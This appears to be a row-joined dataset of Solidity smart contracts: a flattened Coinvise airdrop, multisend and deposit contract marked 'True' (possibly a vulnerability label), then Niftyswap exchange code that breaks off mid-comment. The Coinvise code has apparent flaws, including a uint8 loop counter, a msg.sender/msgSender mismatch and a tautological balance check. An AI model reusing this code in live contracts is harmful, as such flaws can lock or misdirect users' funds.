abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
}
// File contracts/Coinvise.sol
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
}
contract CoinviseFlattened is
Initializable,
OwnableUpgradeable,
EIP712MetaTransactionUpgradeable
{
using SafeMath for uint256;
using SafeERC20 for IERC20Extended;
using SafeERC20 for IERC20;
event CampaignCreated(uint256 indexed campaignId);
event UserRewarded(
address indexed managerAddress,
uint256 indexed campaignId,
address indexed userAddress,
address tokenAddress,
uint256 amount
);
event Multisent(
address indexed tokenAddress,
uint256 recipientsAmount,
uint256 amount
);
event Withdrawn(address indexed recipient, uint256 amount);
event Deposited(
uint256 depositId,
address indexed depositor,
address token,
uint256 amount,
uint256 price
);
event Bought(
address user,
uint256 depositId,
address owner,
address token,
uint256 amount,
uint256 price
);
event WithdrawnDepositOwnerBalance(address user, uint256 amount);
struct Campaign {
uint256 campaignId;
address manager;
address tokenAddress;
uint256 initialBalance;
uint256 remainingBalance;
uint256 linksAmount;
uint256 amountPerLink;
uint256 linksRewardedCount;
}
struct Deposit {
uint256 depositId;
address owner;
address token;
uint256 initialBalance;
uint256 remainingBalance;
uint256 price;
}
/**
* @dev Following are the state variables for this contract
* Due to resrictions of the proxy pattern, do not change the type or order
* of the state variables.
* https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable
*/
uint256 totalDepositOwnersBalanceInWei;
// Next campaign ID by manager
mapping(address => uint256) internal nextCampaignId;
// All campaigns (userAddress => campaignId => Campaign)
mapping(address => mapping(uint256 => Campaign)) internal campaigns;
// All campaign IDs of a user (userAddress => campaignIds[])
mapping(address => uint256[]) internal campaignIds;
// Rewarded addresses by a campaign (campaignId => userAddress[])
mapping(address => mapping(uint256 => mapping(address => bool)))
internal addressRewarded;
// Rewarded links by a campaign (campaignId => slug[])
mapping(uint256 => mapping(string => bool)) internal linksRewarded;
// Next deposit ID by owner
mapping(address => uint256) internal nextDepositId;
// Deposits by user (userAddress => (depositId => deposit)
mapping(address => mapping(uint256 => Deposit)) internal deposits;
// All deposits IDs of a user (userAddress => depositIds[])
mapping(address => uint256[]) internal depositIds;
// Balances by owner
mapping(address => uint256) internal depositOwnersBalancesInWei;
// This is an address whose private key lives in the coinvise backend
// Used for signature verification
address private trustedAddress;
// Premiums Charged on Various Services
uint256 public airdropPerLinkWeiCharged;
uint256 public multisendPerLinkWeiCharged;
uint256 public depositPercentageCharged;
uint256 public depositPercentageChargedDecimals;
// Add any new state variables here
// End of state variables
/**
* @dev We cannot have constructors in upgradeable contracts,
* therefore we define an initialize function which we call
* manually once the contract is deployed.
* the initializer modififer ensures that this can only be called once.
* in practice, the openzeppelin library automatically calls the intitazie
* function once deployed.
*/
function initialize(
address _trustedAddress,
uint256 _airdropPerLinkWeiCharged,
uint256 _multisendPerLinkWeiCharged,
uint256 _depositPercentageCharged,
uint256 _depositPercentageChargedDecimals
) public initializer {
// Call intialize of Base Contracts
OwnableUpgradeable.__Ownable_init();
EIP712MetaTransactionUpgradeable._initialize("Coinvise", "1");
trustedAddress = _trustedAddress;
// Set premiums
airdropPerLinkWeiCharged = _airdropPerLinkWeiCharged;
multisendPerLinkWeiCharged = _multisendPerLinkWeiCharged;
depositPercentageCharged = _depositPercentageCharged;
depositPercentageChargedDecimals = _depositPercentageChargedDecimals;
}
function setAirdropPremiums(uint256 _airdropPerLinkWeiCharged)
external
onlyOwner
{
airdropPerLinkWeiCharged = _airdropPerLinkWeiCharged;
}
function setMultisendPremiums(uint256 _mulisendPerLinkWeiCharged)
external
onlyOwner
{
multisendPerLinkWeiCharged = _mulisendPerLinkWeiCharged;
}
function setDepositPremiums(
uint256 _depositPercentageCharged,
uint256 _depositPercentageChargedDecimals
) external onlyOwner {
depositPercentageCharged = _depositPercentageCharged;
depositPercentageChargedDecimals = _depositPercentageChargedDecimals;
}
function setTrustedAddress(address _trustedAddress) external onlyOwner {
trustedAddress = _trustedAddress;
}
function withdraw() external onlyOwner {
uint256 totalBalance = address(this).balance;
uint256 balance = totalBalance.sub(totalDepositOwnersBalanceInWei);
msg.sender.transfer(balance);
emit Withdrawn(msg.sender, balance);
}
// Generate Links
function _createCampaign(
address _tokenAddress,
uint256 _linksAmount,
uint256 _amountPerLink
) internal returns (uint256 _campaignId) {
require(_linksAmount > 0, "ERR__LINKS_AMOUNT_MUST_BE_GREATHER_THAN_ZERO");
require(
_amountPerLink > 0,
"ERR__AMOUNT_PER_LINK_MUST_BE_GREATHER_THAN_ZERO"
);
uint256 _initialBalance = _linksAmount.mul(_amountPerLink);
address _sender = msgSender();
IERC20(_tokenAddress).safeTransferFrom(
_sender,
address(this),
_initialBalance
);
_campaignId = getCampaignId();
Campaign memory _campaign =
Campaign({
campaignId: _campaignId,
manager: _sender,
tokenAddress: _tokenAddress,
initialBalance: _initialBalance,
remainingBalance: _initialBalance,
linksAmount: _linksAmount,
amountPerLink: _amountPerLink,
linksRewardedCount: 0
});
campaigns[_sender][_campaignId] = _campaign;
campaignIds[_sender].push(_campaignId);
emit CampaignCreated(_campaignId);
return _campaignId;
}
// Generate Links
function createCampaignMeta(
address _tokenAddress,
uint256 _linksAmount,
uint256 _amountPerLink
) external returns (uint256) {
return _createCampaign(_tokenAddress, _linksAmount, _amountPerLink);
}
function createCampaign(
address _tokenAddress,
uint256 _linksAmount,
uint256 _amountPerLink
) external payable returns (uint256 _campaignId) {
uint256 priceInWei = airdropPerLinkWeiCharged * _linksAmount;
require(msg.value == priceInWei, "ERR__CAMPAIGN_PRICE_MUST_BE_PAID");
return _createCampaign(_tokenAddress, _linksAmount, _amountPerLink);
}
function getCampaign(address _campaignManager, uint256 _campaignId)
external
view
returns (
uint256,
address,
address,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
require(
campaigns[_campaignManager][_campaignId].campaignId == _campaignId,
"ERR__CAMPAIGN_DOES_NOT_EXIST"
);
Campaign memory _campaign = campaigns[_campaignManager][_campaignId];
return (
_campaign.campaignId,
_campaign.manager,
_campaign.tokenAddress,
_campaign.initialBalance,
_campaign.remainingBalance,
_campaign.linksAmount,
_campaign.amountPerLink,
_campaign.linksRewardedCount
);
}
function getCampaignIdsFromManager(address _campaignManager)
external
view
returns (uint256[] memory)
{
return campaignIds[_campaignManager];
}
function claim(
address _campaignManager,
uint256 _campaignId,
bytes32 r,
bytes32 s,
uint8 v
) external {
require(
campaigns[_campaignManager][_campaignId].campaignId == _campaignId,
"ERR__CAMPAIGN_DOES_NOT_EXIST"
);
address _claimer = msgSender();
Campaign memory _campaign = campaigns[_campaignManager][_campaignId];
require(
addressRewarded[_campaignManager][_campaignId][_claimer] != true,
"ERR__ADDRESS_ALREADY_REWARDED"
);
// require(linksRewarded[_campaignId][_slug] != true, "ERR__LINK_ALREADY_REWARDED");
// Check if signature is correct
bytes32 messageHash =
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encode(_campaignManager, _campaignId, _claimer))
)
);
address signer = ecrecover(messageHash, v, r, s);
require(signer == trustedAddress, "ERR__INVALID_SIGNER");
require(
_campaign.linksRewardedCount < _campaign.linksAmount,
"ERR__ALL_LINKS_USED"
);
require(
_campaign.remainingBalance >= _campaign.amountPerLink,
"ERR_NOT_ENOUGH_BALANCE_FOR_REWARDING"
);
address _token = _campaign.tokenAddress;
IERC20(_token).safeTransfer(_claimer, _campaign.amountPerLink);
// Mark as rewarded
addressRewarded[_campaignManager][_campaignId][_claimer] = true;
campaigns[_campaignManager][_campaignId].linksRewardedCount = _campaign
.linksRewardedCount
.add(1);
campaigns[_campaignManager][_campaignId].remainingBalance = _campaign
.remainingBalance
.sub(_campaign.amountPerLink);
// Emit event
emit UserRewarded(
_campaignManager,
_campaignId,
_claimer,
_token,
_campaign.amountPerLink
);
}
function _multisend(
address _token,
address[] memory _recipients,
uint256[] memory _amounts
) internal {
uint256 recipientsLength = _recipients.length;
uint256 amountsLength = _amounts.length;
require(amountsLength == recipientsLength, "ERR__INVALID_ARGS");
address _user = msgSender();
uint256 _totalAmount = 0;
uint8 i = 0;
for (i; i < recipientsLength; i++) {
IERC20(_token).safeTransferFrom(_user, _recipients[i], _amounts[i]);
_totalAmount = _totalAmount.add(_amounts[i]);
}
// Emit event
emit Multisent(_token, recipientsLength, _totalAmount);
}
function multisend(
address _token,
address[] memory _recipients,
uint256[] memory _amounts
) external payable {
uint256 recipientsLength = _recipients.length;
require(
msg.value == multisendPerLinkWeiCharged * recipientsLength,
"ERR__MULTISEND_PRICE_MUST_BE_PAID"
);
_multisend(_token, _recipients, _amounts);
}
function multisendMeta(
address _token,
address[] memory _recipients,
uint256[] memory _amounts
) external {
_multisend(_token, _recipients, _amounts);
}
function getCampaignId() internal returns (uint256 _campaignId) {
address _campaignManager = msg.sender;
_campaignId = nextCampaignId[_campaignManager];
if (_campaignId <= 0) {
_campaignId = 1;
}
nextCampaignId[_campaignManager] = _campaignId.add(1);
return _campaignId;
}
function getCampaignRewardedCount(address _manager, uint256 _campaignId)
external
view
returns (uint256)
{
return campaigns[_manager][_campaignId].linksRewardedCount;
}
function _depositToken(
address _token,
uint256 _amount,
uint256 _price
) internal returns (uint256 _depositId) {
require(_amount > 0, "ERR__AMOUNT_MUST_BE_GREATHER_THAN_ZERO");
require(_price > 0, "ERR__PRICE_MUST_BE_GREATHER_THAN_ZERO");
IERC20Extended tokenContract = IERC20Extended(_token);
address _owner = msg.sender;
tokenContract.safeTransferFrom(_owner, address(this), _amount);
_depositId = getDepositId();
Deposit memory _deposit =
Deposit({
depositId: _depositId,
owner: _owner,
token: _token,
initialBalance: _amount,
remainingBalance: _amount,
price: _price
});
deposits[_owner][_depositId] = _deposit;
depositIds[_owner].push(_depositId);
emit Deposited(_depositId, _owner, _token, _amount, _price);
}
function depositToken(
address _token,
uint256 _amount,
uint256 _price
) external payable returns (uint256 _depositId) {
IERC20Extended tokenContract = IERC20Extended(_token);
uint256 decimalsZeros = 10**tokenContract.decimals();
uint256 priceInWei =
_price
.mul(_amount.div(decimalsZeros))
.div(100)
.mul(depositPercentageCharged)
.div(10**depositPercentageChargedDecimals); // depositPercentageCharged% fee
require(msg.value == priceInWei, "ERR__PRICE_MUST_BE_PAID");
return _depositToken(_token, _amount, _price);
}
function getDepositIdsFromOwner(address _owner)
external
view
returns (uint256[] memory)
{
return depositIds[_owner];
}
function getDeposit(address _owner, uint256 _depositId)
external
view
returns (
uint256,
address,
address,
uint256,
uint256,
uint256
)
{
require(
deposits[_owner][_depositId].depositId == _depositId,
"ERR__DEPOSIT_DOES_NOT_EXIST"
);
Deposit memory _deposit = deposits[_owner][_depositId];
return (
_deposit.depositId,
_deposit.owner,
_deposit.token,
_deposit.initialBalance,
_deposit.remainingBalance,
_deposit.price
);
}
function buyToken(
uint256 _depositId,
address payable _owner,
uint256 _amount
) external payable {
require(
deposits[_owner][_depositId].depositId == _depositId,
"ERR__DEPOSIT_DOES_NOT_EXIST"
);
Deposit memory _deposit = deposits[_owner][_depositId];
require(_amount > 0, "ERR__AMOUNT_MUST_BE_GREATHER_THAN_ZERO");
require(
_deposit.remainingBalance >= _amount,
"ERR_NOT_ENOUGH_BALANCE_TO_BUY"
);
IERC20Extended tokenContract = IERC20Extended(_deposit.token);
uint256 decimalsZeros = 10**tokenContract.decimals();
uint256 totalPrice = _deposit.price.mul(_amount.div(decimalsZeros));
require(msg.value == totalPrice, "ERR__TOTAL_PRICE_MUST_BE_PAID");
deposits[_owner][_depositId].remainingBalance = _deposit
.remainingBalance
.sub(_amount);
IERC20(_deposit.token).safeTransfer(msg.sender, _amount);
depositOwnersBalancesInWei[_owner] = depositOwnersBalancesInWei[_owner].add(
msg.value
);
totalDepositOwnersBalanceInWei = totalDepositOwnersBalanceInWei.add(
msg.value
);
emit Bought(
msg.sender,
_depositId,
_owner,
_deposit.token,
_amount,
_deposit.price
);
}
function withdrawDepositOwnerBalance() external {
address payable owner = msg.sender;
require(
depositOwnersBalancesInWei[owner] > 0,
"ERR_NO_BALANCE_TO_WITHDRAW"
);
uint256 toWithdraw = depositOwnersBalancesInWei[owner];
depositOwnersBalancesInWei[owner] = 0;
totalDepositOwnersBalanceInWei = totalDepositOwnersBalanceInWei.sub(
toWithdraw
);
require(
totalDepositOwnersBalanceInWei >= 0,
"ERR_NO_GENERAL_BALANCE_TO_WITHDRAW"
);
owner.transfer(toWithdraw);
emit WithdrawnDepositOwnerBalance(owner, toWithdraw);
}
function getDepositOwnerBalance() external view returns (uint256) {
return depositOwnersBalancesInWei[msg.sender];
}
function getCoinviseBalance() external view returns (uint256) {
uint256 totalBalance = address(this).balance;
return totalBalance.sub(totalDepositOwnersBalanceInWei);
}
function getDepositId() internal returns (uint256 _depositId) {
_depositId = nextDepositId[msg.sender];
if (_depositId <= 0) {
_depositId = 1;
}
nextDepositId[msg.sender] = _depositId.add(1);
return _depositId;
}
}
|
True
|
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] |
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "./NiftyswapExchange20.sol";
import "../utils/Ownable.sol";
import "../interfaces/INiftyswapFactory20.sol";
import "../interfaces/IDelegatedERC1155Metadata.sol";
contract NiftyswapFactory20 is INiftyswapFactory20, Ownable, IDelegatedERC1155Metadata {
/***********************************|
| Events And Variables |
|__________________________________*/
// tokensToExchange[erc1155_token_address][currency_address]
mapping(address => mapping(address => mapping(uint256 => address))) public override tokensToExchange;
mapping(address => mapping(address => address[])) internal pairExchanges;
// Metadata implementation
IERC1155Metadata internal metadataContract; // address of the ERC-1155 Metadata contract
/**
* @notice Will set the initial Niftyswap admin
* @param _admin Address of the initial niftyswap admin to set as Owner
*/
constructor(address _admin) Ownable(_admin) { }
/***********************************|
| Functions |
|__________________________________*/
/**
* @notice Creates a NiftySwap Exchange for given token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the ERC-20 token contract
* @param _lpFee Fee that will go to LPs.
* Number between 0 and 1000, where 10 is 1.0% and 100 is 10%.
* @param _instance Instance # that allows to deploy new instances of an exchange.
* This is mainly meant to be used for tokens that change their ERC-2981 support.
*/
function createExchange(address _token, address _currency, uint256 _lpFee, uint256 _instance) public override {
require(tokensToExchange[_token][_currency][_instance] == address(0x0), "NF20#1"); // NiftyswapFactory20#createExchange: EXCHANGE_ALREADY_CREATED
// Create new exchange contract
NiftyswapExchange20 exchange = new NiftyswapExchange20(_token, _currency, _lpFee);
// Store exchange and token addresses
tokensToExchange[_token][_currency][_instance] = address(exchange);
pairExchanges[_token][_currency].push(address(exchange));
// Emit event
emit NewExchange(_token, _currency, _instance, address(exchange));
}
/**
* @notice Returns array of exchange instances for a given pair
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the ERC-20 token contract
*/
function getPairExchanges(address _token, address _currency) public override view returns (address[] memory) {
return pairExchanges[_token][_currency];
}
/***********************************|
| Metadata Functions |
|__________________________________*/
/**
* @notice Changes the implementation of the ERC-1155 Metadata contract
* @dev This function changes the implementation for all child exchanges of the factory
* @param _contract The address of the ERC-1155 Metadata contract
*/
function setMetadataContract(IERC1155Metadata _contract) onlyOwner external {
emit MetadataContractChanged(address(_contract));
metadataContract = _contract;
}
/**
* @notice Returns the address of the ERC-1155 Metadata contract
*/
function metadataProvider() external override view returns (IERC1155Metadata) {
return metadataContract;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
interface INiftyswapFactory20 {
/***********************************|
| Events |
|__________________________________*/
event NewExchange(address indexed token, address indexed currency, uint256 indexed salt, address exchange);
event MetadataContractChanged(address indexed metadataContract);
/***********************************|
| Public Functions |
|__________________________________*/
/**
* @notice Creates a NiftySwap Exchange for given token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the currency token contract
* @param _lpFee Fee that will go to LPs
* Number between 0 and 1000, where 10 is 1.0% and 100 is 10%.
* @param _instance Instance # that allows to deploy new instances of an exchange.
* This is mainly meant to be used for tokens that change their ERC-2981 support.
*/
function createExchange(address _token, address _currency, uint256 _lpFee, uint256 _instance) external;
/**
* @notice Return address of exchange for corresponding ERC-1155 token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the currency token contract
* @param _instance Instance # that allows to deploy new instances of an exchange.
* This is mainly meant to be used for tokens that change their ERC-2981 support.
*/
function tokensToExchange(address _token, address _currency, uint256 _instance) external view returns (address);
/**
* @notice Returns array of exchange instances for a given pair
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the ERC-20 token contract
*/
function getPairExchanges(address _token, address _currency) external view returns (address[] memory);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../interfaces/INiftyswapExchange.sol";
import "../utils/ReentrancyGuard.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol";
import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol";
/**
* This Uniswap-like implementation supports ERC-1155 standard tokens
* with an ERC-1155 based token used as a currency instead of Ether.
*
* See https://github.com/0xsequence/erc20-meta-token for a generalized
* ERC-20 => ERC-1155 token wrapper
*
* Liquidity tokens are also ERC-1155 tokens you can find the ERC-1155
* implementation used here:
* https://github.com/horizon-games/multi-token-standard/tree/master/contracts/tokens/ERC1155
*
* @dev Like Uniswap, tokens with 0 decimals and low supply are susceptible to significant rounding
* errors when it comes to removing liquidity, possibly preventing them to be withdrawn without
* some collaboration between liquidity providers.
*/
contract NiftyswapExchange is ReentrancyGuard, ERC1155MintBurn, INiftyswapExchange {
using SafeMath for uint256;
/***********************************|
| Variables & Constants |
|__________________________________*/
// Variables
IERC1155 internal token; // address of the ERC-1155 token contract
IERC1155 internal currency; // address of the ERC-1155 currency used for exchange
bool internal currencyPoolBanned; // Whether the currency token ID can have a pool or not
address internal factory; // address for the factory that created this contract
uint256 internal currencyID; // ID of currency token in ERC-1155 currency contract
uint256 internal constant FEE_MULTIPLIER = 995; // Multiplier that calculates the fee (1.0%)
// Mapping variables
mapping(uint256 => uint256) internal totalSupplies; // Liquidity pool token supply per Token id
mapping(uint256 => uint256) internal currencyReserves; // currency Token reserve per Token id
/***********************************|
| Constructor |
|__________________________________*/
/**
* @notice Create instance of exchange contract with respective token and currency token
* @param _tokenAddr The address of the ERC-1155 Token
* @param _currencyAddr The address of the ERC-1155 currency Token
* @param _currencyID The ID of the ERC-1155 currency Token
*/
constructor(address _tokenAddr, address _currencyAddr, uint256 _currencyID) public {
require(
address(_tokenAddr) != address(0) && _currencyAddr != address(0),
"NiftyswapExchange#constructor:INVALID_INPUT"
);
factory = msg.sender;
token = IERC1155(_tokenAddr);
currency = IERC1155(_currencyAddr);
currencyID = _currencyID;
// If token and currency are the same contract,
// need to prevent currency/currency pool to be created.
currencyPoolBanned = _currencyAddr == _tokenAddr ? true : false;
}
/***********************************|
| Exchange Functions |
|__________________________________*/
/**
* @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient.
* @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs.
* @dev Assumes that all trades will be successful, or revert the whole tx
* @dev Exceeding currency tokens sent will be refunded to recipient
* @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit)
* @param _tokenIds Array of Tokens ID that are bought
* @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds
* @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids
* @param _deadline Timestamp after which this transaction will be reverted
* @param _recipient The address that receives output Tokens and refund
* @return currencySold How much currency was actually sold.
*/
function _currencyToToken(
uint256[] memory _tokenIds,
uint256[] memory _tokensBoughtAmounts,
uint256 _maxCurrency,
uint256 _deadline,
address _recipient)
internal nonReentrant() returns (uint256[] memory currencySold)
{
// Input validation
require(_deadline >= block.timestamp, "NiftyswapExchange#_currencyToToken: DEADLINE_EXCEEDED");
// Number of Token IDs to deposit
uint256 nTokens = _tokenIds.length;
uint256 totalRefundCurrency = _maxCurrency;
// Initialize variables
currencySold = new uint256[](nTokens); // Amount of currency tokens sold per ID
uint256[] memory tokenReserves = new uint256[](nTokens); // Amount of tokens in reserve for each Token id
// Get token reserves
tokenReserves = _getTokenReserves(_tokenIds);
// Assumes he currency Tokens are already received by contract, but not
// the Tokens Ids
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 idBought = _tokenIds[i];
uint256 amountBought = _tokensBoughtAmounts[i];
uint256 tokenReserve = tokenReserves[i];
require(amountBought > 0, "NiftyswapExchange#_currencyToToken: NULL_TOKENS_BOUGHT");
// Load currency token and Token _id reserves
uint256 currencyReserve = currencyReserves[idBought];
// Get amount of currency tokens to send for purchase
// Neither reserves amount have been changed so far in this transaction, so
// no adjustment to the inputs is needed
uint256 currencyAmount = getBuyPrice(amountBought, currencyReserve, tokenReserve);
// Calculate currency token amount to refund (if any) where whatever is not used will be returned
// Will throw if total cost exceeds _maxCurrency
totalRefundCurrency = totalRefundCurrency.sub(currencyAmount);
// Append Token id, Token id amount and currency token amount to tracking arrays
currencySold[i] = currencyAmount;
// Update individual currency reseve amount
currencyReserves[idBought] = currencyReserve.add(currencyAmount);
}
// Refund currency token if any
if (totalRefundCurrency > 0) {
currency.safeTransferFrom(address(this), _recipient, currencyID, totalRefundCurrency, "");
}
// Send Tokens all tokens purchased
token.safeBatchTransferFrom(address(this), _recipient, _tokenIds, _tokensBoughtAmounts, "");
return currencySold;
}
/**
* @dev Pricing function used for converting between currency token to Tokens.
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return price Amount of currency tokens to send to Niftyswap.
*/
